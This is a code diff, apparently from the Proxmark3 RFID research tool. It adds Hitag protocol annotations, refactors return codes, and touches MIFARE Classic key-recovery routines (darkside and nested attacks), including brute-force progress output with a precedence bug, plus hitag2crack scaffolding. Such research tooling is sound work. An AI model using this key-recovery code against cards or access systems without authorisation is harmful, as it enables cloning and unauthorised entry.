//printHitagConfiguration( 0x04 ); //printHitagConfiguration( 0x04 );
return 0; return PM3_SUCCESS;
} }
// TODO: iceman // TODO: iceman
@ -550,21 +550,22 @@ static int CmdLFHitagReader(const char *Cmd) {
} }
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(cmd, htf, 0, 0, &htd, sizeof(htd)); SendCommandMIX(cmd, htf, 0, 0, &htd, sizeof(htd));
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply."); PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return 1; return PM3_ETIMEOUT;
} }
if (resp.oldarg[0] == false) { if (resp.oldarg[0] == false) {
PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed");
return 1; return PM3_ESOFT;
} }
uint32_t id = bytes_to_num(resp.data.asBytes, 4); uint32_t id = bytes_to_num(resp.data.asBytes, 4);
PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: %08x", id); PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id);
if (htf != RHT2F_UID_ONLY) { if (htf != RHT2F_UID_ONLY) {
PrintAndLogEx(SUCCESS, "Dumping tag memory..."); PrintAndLogEx(SUCCESS, "Dumping tag memory...");
@ -575,6 +576,8 @@ static int CmdLFHitagReader(const char *Cmd) {
fnameptr += sprintf(fnameptr, "lf-hitag-"); fnameptr += sprintf(fnameptr, "lf-hitag-");
FillFileNameByUID(fnameptr, data, "-dump", 4); FillFileNameByUID(fnameptr, data, "-dump", 4);
saveFile(filename, ".bin", data, 48); saveFile(filename, ".bin", data, 48);
saveFileEML(filename, data, 48, 4); saveFileEML(filename, data, 48, 4);
saveFileJSON(filename, jsfHitag, data, 48); saveFileJSON(filename, jsfHitag, data, 48);
@ -582,7 +585,7 @@ static int CmdLFHitagReader(const char *Cmd) {
// block3, 1 byte // block3, 1 byte
printHitagConfiguration(data[4 * 3]); printHitagConfiguration(data[4 * 3]);
} }
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagCheckChallenges(const char *Cmd) { static int CmdLFHitagCheckChallenges(const char *Cmd) {
@ -631,7 +634,7 @@ static int CmdLFHitagCheckChallenges(const char *Cmd) {
SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0); SendCommandMIX(CMD_LF_HITAGS_TEST_TRACES, 0, 0, 0, NULL, 0);
free(data); free(data);
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagWriter(const char *Cmd) { static int CmdLFHitagWriter(const char *Cmd) {
@ -675,14 +678,14 @@ static int CmdLFHitagWriter(const char *Cmd) {
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply."); PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return 1; return PM3_ETIMEOUT;
} }
if (resp.oldarg[0] == false) { if (resp.oldarg[0] == false) {
PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed"); PrintAndLogEx(DEBUG, "DEBUG: Error - hitag write failed");
return 1; return PM3_ESOFT;
} }
return 0; return PM3_SUCCESS;
} }
/* /*
@ -692,10 +695,50 @@ static int CmdLFHitagDump(const char *Cmd) {
char ctmp = tolower(param_getchar(Cmd, 0)); char ctmp = tolower(param_getchar(Cmd, 0));
if (ctmp == 'h') return usage_hitag_dump(); if (ctmp == 'h') return usage_hitag_dump();
return 0; return PM3_SUCCESS;
} }
*/ */
// Annotate HITAG protocol
void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
}
void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
uint8_t cmdbits = (cmd[0] & 0xC0) >> 6;
if (cmdsize == 1) {
if (cmdbits == HITAG2_START_AUTH) {
snprintf(exp, size, "START AUTH");
return;
}
if (cmdbits == HITAG2_HALT) {
snprintf(exp, size, "HALT");
return;
}
}
if (cmdsize == 2) {
if (cmdbits == HITAG2_START_AUTH) {
// C 1 C 0
// 1100 0 00 1 1100 000
uint8_t page = (cmd[0] & 0x38) >> 3;
uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6);
snprintf(exp, size, "READ page(%x) %x", page, inv_page);
return;
}
if (cmdbits == HITAG2_WRITE_PAGE) {
uint8_t page = (cmd[0] & 0x38) >> 3;
uint8_t inv_page = ((cmd[0] & 0x1) << 2) | ((cmd[1] & 0xC0) >> 6);
snprintf(exp, size, "WRITE page(%x) %x", page, inv_page);
return;
}
}
}
void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
}
static command_t CommandTable[] = { static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help" }, {"help", CmdHelp, AlwaysAvailable, "This help" },
{"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" },
@ -711,7 +754,7 @@ static command_t CommandTable[] = {
static int CmdHelp(const char *Cmd) { static int CmdHelp(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdsHelp(CommandTable); CmdsHelp(CommandTable);
return 0; return PM3_SUCCESS;
} }
int CmdLFHitag(const char *Cmd) { int CmdLFHitag(const char *Cmd) {
@ -720,5 +763,5 @@ int CmdLFHitag(const char *Cmd) {
} }
int readHitagUid(void) { int readHitagUid(void) {
return CmdLFHitagReader("26") == 0; return (CmdLFHitagReader("26") == PM3_SUCCESS);
} }

View file

@ -16,5 +16,7 @@
int CmdLFHitag(const char *Cmd); int CmdLFHitag(const char *Cmd);
int readHitagUid(void); int readHitagUid(void);
void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateHitag2(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize);
#endif #endif

View file

@ -17,6 +17,7 @@
#include "cmdhflist.h" // annotations #include "cmdhflist.h" // annotations
#include "comms.h" // for sending cmds to device. GetFromBigBuf #include "comms.h" // for sending cmds to device. GetFromBigBuf
#include "fileutils.h" // for saveFile #include "fileutils.h" // for saveFile
#include "cmdlfhitag.h" // annotate hitag
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -45,7 +46,9 @@ static int usage_trace_list() {
PrintAndLogEx(NORMAL, " iclass - interpret data as iclass communications"); PrintAndLogEx(NORMAL, " iclass - interpret data as iclass communications");
PrintAndLogEx(NORMAL, " legic - interpret data as LEGIC communications"); PrintAndLogEx(NORMAL, " legic - interpret data as LEGIC communications");
PrintAndLogEx(NORMAL, " felica - interpret data as ISO18092 / FeliCa communications"); PrintAndLogEx(NORMAL, " felica - interpret data as ISO18092 / FeliCa communications");
PrintAndLogEx(NORMAL, " hitag - interpret data as Hitag2 / HitagS communications"); PrintAndLogEx(NORMAL, " hitag1 - interpret data as Hitag1 communications");
PrintAndLogEx(NORMAL, " hitag2 - interpret data as Hitag2 communications");
PrintAndLogEx(NORMAL, " hitags - interpret data as HitagS communications");
PrintAndLogEx(NORMAL, " lto - interpret data as LTO-CM communications"); PrintAndLogEx(NORMAL, " lto - interpret data as LTO-CM communications");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
@ -281,7 +284,9 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
crcStatus = iso15693_CRC_check(frame, data_len); crcStatus = iso15693_CRC_check(frame, data_len);
break; break;
case ISO_7816_4: case ISO_7816_4:
case PROTO_HITAG: case PROTO_HITAG1:
case PROTO_HITAG2:
case PROTO_HITAGS:
default: default:
break; break;
} }
@ -301,7 +306,9 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
&& protocol != ISO_15693 && protocol != ISO_15693
&& protocol != ICLASS && protocol != ICLASS
&& protocol != ISO_7816_4 && protocol != ISO_7816_4
&& protocol != PROTO_HITAG && protocol != PROTO_HITAG1
&& protocol != PROTO_HITAG2
&& protocol != PROTO_HITAGS
&& protocol != THINFILM && protocol != THINFILM
&& protocol != FELICA && protocol != FELICA
&& protocol != LTO && protocol != LTO
@ -385,6 +392,15 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
case LTO: case LTO:
annotateLTO(explanation, sizeof(explanation), frame, data_len); annotateLTO(explanation, sizeof(explanation), frame, data_len);
break; break;
case PROTO_HITAG1:
annotateHitag1(explanation, sizeof(explanation), frame, data_len);
break;
case PROTO_HITAG2:
annotateHitag2(explanation, sizeof(explanation), frame, data_len);
break;
case PROTO_HITAGS:
annotateHitagS(explanation, sizeof(explanation), frame, data_len);
break;
default: default:
break; break;
} }
@ -593,7 +609,9 @@ int CmdTraceList(const char *Cmd) {
else if (strcmp(type, "15") == 0) protocol = ISO_15693; else if (strcmp(type, "15") == 0) protocol = ISO_15693;
else if (strcmp(type, "felica") == 0) protocol = FELICA; else if (strcmp(type, "felica") == 0) protocol = FELICA;
else if (strcmp(type, "mf") == 0) protocol = PROTO_MIFARE; else if (strcmp(type, "mf") == 0) protocol = PROTO_MIFARE;
else if (strcmp(type, "hitag") == 0) protocol = PROTO_HITAG; else if (strcmp(type, "hitag1") == 0) protocol = PROTO_HITAG1;
else if (strcmp(type, "hitag2") == 0) protocol = PROTO_HITAG2;
else if (strcmp(type, "hitags") == 0) protocol = PROTO_HITAGS;
else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM; else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM;
else if (strcmp(type, "lto") == 0) protocol = LTO; else if (strcmp(type, "lto") == 0) protocol = LTO;
else if (strcmp(type, "raw") == 0) protocol = -1; //No crc, no annotations else if (strcmp(type, "raw") == 0) protocol = -1; //No crc, no annotations
@ -644,8 +662,7 @@ int CmdTraceList(const char *Cmd) {
} }
} }
PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = %lu bytes)", traceLen); PrintAndLogEx(SUCCESS, "Recorded activity (trace len = " _YELLOW_("%lu") "bytes)", traceLen);
PrintAndLogEx(INFO, "");
/* /*
if (protocol == FELICA) { if (protocol == FELICA) {
@ -657,26 +674,26 @@ int CmdTraceList(const char *Cmd) {
tracepos = printHexLine(tracepos, traceLen, trace, protocol); tracepos = printHexLine(tracepos, traceLen, trace, protocol);
} }
} else { } else {
PrintAndLogEx(NORMAL, "Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); PrintAndLogEx(INFO, _YELLOW_("Start") "= Start of Start Bit, " _YELLOW_("End") "= End of last modulation. " _YELLOW_("Src") "= Source of Transfer");
if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ || protocol == LTO) if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ || protocol == LTO)
PrintAndLogEx(NORMAL, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); PrintAndLogEx(INFO, "ISO14443A - All times are in carrier periods (1/13.56MHz)");
if (protocol == THINFILM) if (protocol == THINFILM)
PrintAndLogEx(NORMAL, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); PrintAndLogEx(INFO, "Thinfilm - All times are in carrier periods (1/13.56MHz)");
if (protocol == ICLASS) if (protocol == ICLASS)
PrintAndLogEx(NORMAL, "iClass - Timings are not as accurate"); PrintAndLogEx(INFO, "iClass - Timings are not as accurate");
if (protocol == LEGIC) if (protocol == LEGIC)
PrintAndLogEx(NORMAL, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n" PrintAndLogEx(INFO, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n"
" Tag Mode: Timings are in sub carrier periods (1/212 kHz == 4.7us)"); " Tag Mode: Timings are in sub carrier periods (1/212 kHz == 4.7us)");
if (protocol == ISO_14443B) if (protocol == ISO_14443B)
PrintAndLogEx(NORMAL, "ISO14443B"); // Timings ? PrintAndLogEx(INFO, "ISO14443B"); // Timings ?
if (protocol == ISO_15693) if (protocol == ISO_15693)
PrintAndLogEx(NORMAL, "ISO15693 - Timings are not as accurate"); PrintAndLogEx(INFO, "ISO15693 - Timings are not as accurate");
if (protocol == ISO_7816_4) if (protocol == ISO_7816_4)
PrintAndLogEx(NORMAL, "ISO7816-4 / Smartcard - Timings N/A yet"); PrintAndLogEx(INFO, "ISO7816-4 / Smartcard - Timings N/A yet");
if (protocol == PROTO_HITAG) if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS)
PrintAndLogEx(NORMAL, "Hitag2 / HitagS - Timings in ETU (8us)"); PrintAndLogEx(INFO, "Hitag1 / Hitag2 / HitagS - Timings in ETU (8us)");
if (protocol == FELICA) if (protocol == FELICA)
PrintAndLogEx(NORMAL, "ISO18092 / FeliCa - Timings are not as accurate"); PrintAndLogEx(INFO, "ISO18092 / FeliCa - Timings are not as accurate");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, " Start | End | Src | Data (! denotes parity error) | CRC | Annotation"); PrintAndLogEx(NORMAL, " Start | End | Src | Data (! denotes parity error) | CRC | Annotation");

View file

@ -125,15 +125,16 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) {
} }
} }
PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s\n", keycount, (keycount > 1) ? "s." : "."); PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s", keycount, (keycount > 1) ? "s." : ".");
*key = UINT64_C(-1); *key = UINT64_C(-1);
uint8_t keyBlock[PM3_CMD_DATA_SIZE]; uint8_t keyBlock[PM3_CMD_DATA_SIZE];
uint32_t max_keys = KEYS_IN_BLOCK; uint32_t max_keys = KEYS_IN_BLOCK;
for (uint32_t i = 0; i < keycount; i += max_keys) { for (uint32_t i = 0; i < keycount; i += max_keys) {
uint32_t size = keycount - i > max_keys ? max_keys : keycount - i; uint8_t size = keycount - i > max_keys ? max_keys : keycount - i;
for (uint32_t j = 0; j < size; j++) { register uint8_t j;
for (j = 0; j < size; j++) {
if (par_list == 0) { if (par_list == 0) {
num_to_bytes(last_keylist[i * max_keys + j], 6, keyBlock + (j * 6)); num_to_bytes(last_keylist[i * max_keys + j], 6, keyBlock + (j * 6));
} else { } else {
@ -159,6 +160,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) {
free(keylist); free(keylist);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) {
*key = -1; *key = -1;
clearCommandBuffer(); clearCommandBuffer();
@ -308,7 +310,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultk
} }
// Compare 16 Bits out of cryptostate // Compare 16 Bits out of cryptostate
static int Compare16Bits(const void *a, const void *b) { inline static int Compare16Bits(const void *a, const void *b) {
if ((*(uint64_t *)b & 0x00ff000000ff0000) == (*(uint64_t *)a & 0x00ff000000ff0000)) return 0; if ((*(uint64_t *)b & 0x00ff000000ff0000) == (*(uint64_t *)a & 0x00ff000000ff0000)) return 0;
if ((*(uint64_t *)b & 0x00ff000000ff0000) > (*(uint64_t *)a & 0x00ff000000ff0000)) return 1; if ((*(uint64_t *)b & 0x00ff000000ff0000) > (*(uint64_t *)a & 0x00ff000000ff0000)) return 1;
return -1; return -1;
@ -330,13 +332,14 @@ __attribute__((force_align_arg_pointer))
statelist->len = p1 - statelist->head.slhead; statelist->len = p1 - statelist->head.slhead;
statelist->tail.sltail = --p1; statelist->tail.sltail = --p1;
qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits); qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits);
return statelist->head.slhead; return statelist->head.slhead;
} }
int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) {
uint16_t i;
uint32_t uid; uint32_t uid;
StateList_t statelists[2]; StateList_t statelists[2];
struct Crypto1State *p1, *p2, *p3, *p4; struct Crypto1State *p1, *p2, *p3, *p4;
@ -385,7 +388,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
memcpy(&uid, package->cuid, sizeof(package->cuid)); memcpy(&uid, package->cuid, sizeof(package->cuid));
for (i = 0; i < 2; i++) { for (uint8_t i = 0; i < 2; i++) {
statelists[i].blockNo = package->block; statelists[i].blockNo = package->block;
statelists[i].keyType = package->keytype; statelists[i].keyType = package->keytype;
statelists[i].uid = uid; statelists[i].uid = uid;
@ -402,11 +405,11 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
pthread_t thread_id[2]; pthread_t thread_id[2];
// create and run worker threads // create and run worker threads
for (i = 0; i < 2; i++) for (uint8_t i = 0; i < 2; i++)
pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]); pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);
// wait for threads to terminate: // wait for threads to terminate:
for (i = 0; i < 2; i++) for (uint8_t i = 0; i < 2; i++)
pthread_join(thread_id[i], (void *)&statelists[i].head.slhead); pthread_join(thread_id[i], (void *)&statelists[i].head.slhead);
// the first 16 Bits of the cryptostate already contain part of our key. // the first 16 Bits of the cryptostate already contain part of our key.
@ -457,6 +460,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
uint32_t keycnt = statelists[0].len; uint32_t keycnt = statelists[0].len;
if (keycnt == 0) goto out; if (keycnt == 0) goto out;
PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt);
memset(resultKey, 0, 6); memset(resultKey, 0, 6);
uint64_t key64 = -1; uint64_t key64 = -1;
@ -464,11 +469,14 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
uint32_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint32_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt;
uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00};
for (i = 0; i < keycnt; i += max_keys) { uint64_t start_time = msclock();
int size = keycnt - i > max_keys ? max_keys : keycnt - i; for (uint32_t i = 0; i < keycnt; i += max_keys) {
for (int j = 0; j < size; j++) { uint8_t size = keycnt - i > max_keys ? max_keys : keycnt - i;
register uint8_t j;
for (j = 0; j < size; j++) {
crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
num_to_bytes(key64, 6, keyBlock + j * 6); num_to_bytes(key64, 6, keyBlock + j * 6);
} }
@ -485,6 +493,13 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo,
); );
return -5; return -5;
} }
float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0;
start_time = msclock();
if ( i + 1 % 10 == 0)
PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second);
} }
out: out:
@ -499,7 +514,7 @@ out:
} }
int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) {
uint16_t i;
uint32_t uid; uint32_t uid;
StateList_t statelists[1]; StateList_t statelists[1];
struct Crypto1State *p1, *p3; struct Crypto1State *p1, *p3;
@ -589,16 +604,18 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl
uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt;
uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00};
for (i = 0; i < keycnt; i += max_keys_slice) { uint64_t start_time = msclock();
for (uint32_t i = 0; i < keycnt; i += max_keys_slice) {
PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); // PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt);
key64 = 0; key64 = 0;
int size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; uint8_t size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i;
// copy x keys to device. // copy x keys to device.
for (int j = 0; j < size; j++) { register uint8_t j;
for (j = 0; j < size; j++) {
crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64);
num_to_bytes(key64, 6, keyBlock + j * 6); num_to_bytes(key64, 6, keyBlock + j * 6);
} }
@ -617,6 +634,12 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl
); );
return PM3_SUCCESS; return PM3_SUCCESS;
} }
float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0;
start_time = msclock();
if ( i+1 % 10 == 0)
PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second);
} }
out: out:

View file

@ -21,6 +21,8 @@ typedef enum {
RHTSF_KEY = 02, RHTSF_KEY = 02,
WHTSF_CHALLENGE = 03, WHTSF_CHALLENGE = 03,
WHTSF_KEY = 04, WHTSF_KEY = 04,
RHT1F_PLAIN = 11,
RHT1F_AUTHENTICATE = 12,
RHT2F_PASSWORD = 21, RHT2F_PASSWORD = 21,
RHT2F_AUTHENTICATE = 22, RHT2F_AUTHENTICATE = 22,
RHT2F_CRYPTO = 23, RHT2F_CRYPTO = 23,
@ -44,8 +46,17 @@ typedef struct {
uint8_t data[4]; uint8_t data[4];
} PACKED rht2d_crypto; } PACKED rht2d_crypto;
typedef struct {
bool key_no;
uint8_t logdata_0[4];
uint8_t logdata_1[4];
uint8_t nonce[4];
uint8_t key[4];
} PACKED rht1d_authenticate;
typedef union { typedef union {
rht2d_password pwd; rht2d_password pwd;
rht1d_authenticate ht1auth;
rht2d_authenticate auth; rht2d_authenticate auth;
rht2d_crypto crypto; rht2d_crypto crypto;
} hitag_data; } hitag_data;

View file

@ -305,9 +305,11 @@ ISO 7816-4 Basic interindustry commands. For command APDU's.
#define ISO_15693 7 #define ISO_15693 7
#define FELICA 8 #define FELICA 8
#define PROTO_MIFARE 9 #define PROTO_MIFARE 9
#define PROTO_HITAG 10 #define PROTO_HITAG1 10
#define THINFILM 11 #define THINFILM 11
#define LTO 12 #define LTO 12
#define PROTO_HITAG2 13
#define PROTO_HITAGS 14
//-- Picopass fuses //-- Picopass fuses
#define FUSE_FPERS 0x80 #define FUSE_FPERS 0x80
@ -588,12 +590,18 @@ ISO 7816-4 Basic interindustry commands. For command APDU's.
#define HITAG1_HALT 0x70 // left 4 bits only, followed by 8 bits (dummy) page and 8 bits CRC #define HITAG1_HALT 0x70 // left 4 bits only, followed by 8 bits (dummy) page and 8 bits CRC
// HITAG2 commands // HITAG2 commands
#define HITAG2_START_AUTH 0xC0 // left 5 bits only #define HITAG2_START_AUTH 0x3 // left 5 bits only
#define HITAG2_READ_PAGE 0xC0 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits #define HITAG2_HALT 0x0 // left 5 bits only
#define HITAG2_READ_PAGE_INVERTED 0x44 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits
#define HITAG2_WRITE_PAGE 0x82 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits
#define HITAG2_HALT 0x00 // left 5 bits only
#define HITAG2_READ_PAGE 0x3 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits
#define HITAG2_READ_PAGE_INVERTED 0x1 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits
#define HITAG2_WRITE_PAGE 0x2 // page number in bits 5 to 3, page number
// HITAG S commands
#define HITAGS_QUIET 0x70
//inverted in bit 0 and following 2 bits
#define HITAGS_WRITE_BLOCK 0x90
// LTO-CM commands // LTO-CM commands
#define LTO_REQ_STANDARD 0x45 #define LTO_REQ_STANDARD 0x45
@ -602,7 +610,6 @@ ISO 7816-4 Basic interindustry commands. For command APDU's.
#define LTO_READBLOCK 0x30 #define LTO_READBLOCK 0x30
#define LTO_READBLOCK_CONT 0x80 #define LTO_READBLOCK_CONT 0x80
#define LTO_SELECT 0x93 #define LTO_SELECT 0x93
#define LTO_SELECT_1 0x97
#define LTO_WRITEWORD 0xB0 // write 2 bytes (word) #define LTO_WRITEWORD 0xB0 // write 2 bytes (word)
#define LTO_WRITEBLOCK 0xA0 #define LTO_WRITEBLOCK 0xA0
#define LTO_HALT 0x50 #define LTO_HALT 0x50

0
tools/hitag2crack/.gitignore vendored Normal file
View file

7
tools/hitag2crack/crack2/.gitignore vendored Normal file
View file

@ -0,0 +1,7 @@
ht2crack2buildtable
ht2crack2search
ht2crack2gentest
ht2crack2buildtable.exe
ht2crack2search.exe
ht2crack2gentest.exe

View file

@ -0,0 +1,524 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
